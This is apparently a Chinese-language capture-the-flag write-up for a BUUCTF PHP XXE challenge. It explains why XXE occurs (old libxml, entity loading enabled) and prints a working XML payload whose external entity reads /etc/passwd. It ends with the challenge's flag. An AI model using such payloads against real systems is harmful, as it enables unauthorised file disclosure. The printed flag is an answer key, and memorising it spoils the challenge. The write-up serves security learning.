BUUCTF-Real-[PHP]XXE

目录

1、原理

2、XXE漏洞产生的原因

3、开始复现

paylaod

复现

4、flag

1、原理

复制代码
XML数据在传输过程中,攻击者强制XML解析器去访问攻击者指定的资源内容(本地/远程),外部实体声明关键字'SYSTEM'会令XML解析器读取数据,并允许它在XML文档中被替换,构造恶意的值,去执行!

XML解析方式:DOM,SAX,JDOM,DOM4J,StAX......都可能会出现外部实体注入漏洞

2、XXE漏洞产生的原因

复制代码
低版本php

libxml<2.9.1

设置了libxml_disable_entity_loader为FALSE

3、开始复现

复制代码
libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞稀少!

dom.php、SimpleXMLElement.php、simplexml_load_string.php都可以触发XXE漏洞
paylaod
复制代码
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root>
    <name>&xxe;</name>
</root>
复现

复制代码
这里我用的是 SimpleXMLElement.php 

这里使用payload查看了/etc/passwd文件!证实了xxe漏洞可以进行文件读取!

4、flag


复制代码
是的,在主页就可以找到!

flag{ad2eb59a-d433-4168-99ce-a27245df049b} 
相关推荐
sbjdhjd3 小时前
ThinkPHP 5.0.10 缓存写入型 RCE 复盘:从手动搭建、换行绕过到源码单步验证 | 05
java·后端·安全·spring·网络安全·数据挖掘·php
顾城猿4 小时前
PCS多项式承诺方案
网络安全
Demons_kirit6 小时前
身份验证漏洞
网络安全·portswigger
Bruce_Liuxiaowei20 小时前
2026年9月第2周网络安全形势周报
网络·安全·web安全·网络安全·漏洞评级
XLYcmy1 天前
面向安全领域决策的大型语言模型漏洞价值评估对齐机制与智能化评级系统研发 研究方向与核心内容
网络安全·llm·sft·cve·cot·对齐·漏洞检测
是逍遥子没错1 天前
一个斜杠,击穿整座网关:API网关路径前缀绕过认证实战
运维·服务器·web安全·网络安全·渗透测试·系统安全
木卫四科技1 天前
7 分钟、90 分钟、24 小时:漏洞管理的时间尺度已经崩塌
网络安全·智能体安全
anqianqi1231 天前
上网行为监控系统怎么落地:上网行为监控软件能管哪几件事
运维·安全·网络安全·电脑
数据知道1 天前
密钥管理(KMS)——轮换、分级、HSM 硬件安全模块
网络安全·密码学·哈希算法
huaqisafty2 天前
网络赌博治安治理难点解析
网络安全·华企盾·社会治安治理·网赌赌博治理